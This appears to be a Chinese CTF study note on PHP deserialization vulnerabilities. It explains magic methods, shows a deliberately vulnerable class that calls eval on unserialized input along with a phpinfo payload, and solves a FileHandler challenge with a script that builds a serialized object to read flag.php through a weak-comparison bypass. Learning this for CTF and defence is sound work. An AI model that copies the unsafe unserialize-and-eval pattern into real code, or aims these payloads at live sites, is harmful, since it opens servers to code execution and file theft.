• 反序列化之PHP


    反序列化漏洞

    #PHP反序列化

    原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

    serialize()     //将一个对象转换成一个字符串

    unserialize()   //将字符串还原成一个对象

    触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

    参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

    __construct()//创建对象时触发

    __destruct() //对象被销毁时触发

    __call() //在对象上下文中调用不可访问的方法时触发

    __callStatic() //在静态上下文中调用不可访问的方法时触发

    __get() //用于从不可访问的属性读取数据

    __set() //用于将数据写入不可访问的属性

    __isset() //在不可访问的属性上调用isset()或empty()触发

    __unset() //在不可访问的属性上使用unset()时触发

    __invoke() //当脚本尝试将对象调用为函数时触发

    序列化和发序列化例子

    <?php

    class Student  //类

    {

           public $name = 'daxian';

           function hh()

           {

                  return 'you are badbadbad!';

           }

           function __construct(){     //构造函数

                  echo "I am construct fountion!";

                  echo "</br>";

           }

    }

    $s = new Student(); //新建一个对象

    echo $s->hh()."</br>";   //调用对象的方法,php用->, 有些用 .

    //序列化//

    $s_serialize = serialize($s);   //serialize() 序列化函数

    print_r($s_serialize);   //结果  O:7:"Student":1:{s:4:"name";s:6:"daxian";}

    //  O:对象  7:长度为7  Student:对象的名字  1:有一个成员变量  s:4:字符串类型,长度4

    //  name :成员的名字   daxian:成员的值       function没有表示出来

    //反序列化//

    $fan ='O:7:"Student":1:{s:1:"n";s:8:"dongdong";}';

    $fff=unserialize($fan);  //反序列化

    echo "</br>";

    print_r($fff);  // 显示 :Student Object ( [name] => daxian [n] => dongdong )

    ?>

    魔术方法:

    //代码执行//

    class Student  //类

    {

           public $name = '';

           function __wakeup(){    

                  eval($this->name);

           }

    }

    unserialize($_GET['a']); //O:7:"Student":1:{s:4:"name";s:10:"phpinfo();";}

    ctf类似题目

    https://cgctf.nuptsast.com/challenges#Web  //ctf的靶场

    http://www.dooccn.com/php/               //php在线执行平台

    https://www.ctfhub.com/#/challenge          //ctf靶场

    真题再现:

     

     1 <?php
     2 
     3 include("flag.php");
     4 
     5 highlight_file(__FILE__);
     6 
     7 class FileHandler {
     8 
     9     protected $op;
    10     protected $filename;
    11     protected $content;
    12 
    13     function __construct() {
    14         $op = "1";
    15         $filename = "/tmp/tmpfile";
    16         $content = "Hello World!";
    17         $this->process();
    18     }
    19 
    20     public function process() {
    21         if($this->op == "1") {
    22             $this->write();
    23         } else if($this->op == "2") {
    24             $res = $this->read();
    25             $this->output($res);
    26         } else {
    27             $this->output("Bad Hacker!");
    28         }
    29     }
    30 
    31     private function write() {
    32         if(isset($this->filename) && isset($this->content)) {
    33             if(strlen((string)$this->content) > 100) {
    34                 $this->output("Too long!");
    35                 die();
    36             }
    37             $res = file_put_contents($this->filename, $this->content);
    38             if($res) $this->output("Successful!");
    39             else $this->output("Failed!");
    40         } else {
    41             $this->output("Failed!");
    42         }
    43     }
    44 
    45     private function read() {
    46         $res = "";
    47         if(isset($this->filename)) {
    48             $res = file_get_contents($this->filename);
    49         }
    50         return $res;
    51     }
    52 
    53     private function output($s) {
    54         echo "[Result]: <br>";
    55         echo $s;
    56     }
    57 
    58     function __destruct() {
    59         if($this->op === "2")
    60             $this->op = "1";
    61         $this->content = "";
    62         $this->process();
    63     }
    64 
    65 }
    66 
    67 function is_valid($s) {
    68     for($i = 0; $i < strlen($s); $i++)
    69         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    70             return false;
    71     return true;
    72 }
    73 
    74 if(isset($_GET{'str'})) {
    75 
    76     $str = (string)$_GET['str'];
    77     if(is_valid($str)) {
    78         $obj = unserialize($str);
    79     }
    80 
    81 }

    首先ctf命名及代码函数unserialize判断反序列化知识点

    第一:获取flag存储flag.php

    第二:两个魔术方法__destruct __construct

    第三:传输str参数数据后触发destruct,存在is_valid过滤

    第四:__destruct中会调用process,其中op=1写入及op=2读取

    第五:涉及对象FileHandler,变量op及filename,content,进行构造输出

    <?php

    class FileHandler{

    public $op=' 2';//源码告诉我们op为1时候是执行写入为2时执行读

    public $filename="flag.php";//文件开头调用的是flag.php

    public $content="xd";

    }

    $flag = new FileHandler();

    $flag_1 = serialize($flag);

    echo $flag_1;

    ?>

    涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过

    使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。__destruct函数对$this->op进行了===判断并内容在2字符串时会赋值为1,process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字2或字符串' 2'绕过判断。

     

    is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。

     

  • 相关阅读:
    微软小娜APP的案例分析
    嵌入式第12次实验
    嵌入式第11次实验
    嵌入式第10次实验报告
    嵌入式第9次实验
    软工 小组作业(第二次)
    嵌入式软件设计第8次实验报告-140201236-沈樟伟
    5月17下
    5月17上
    5月15上午
  • 原文地址:https://www.cnblogs.com/trevain/p/13653339.html
Copyright © 2020-2023  润新知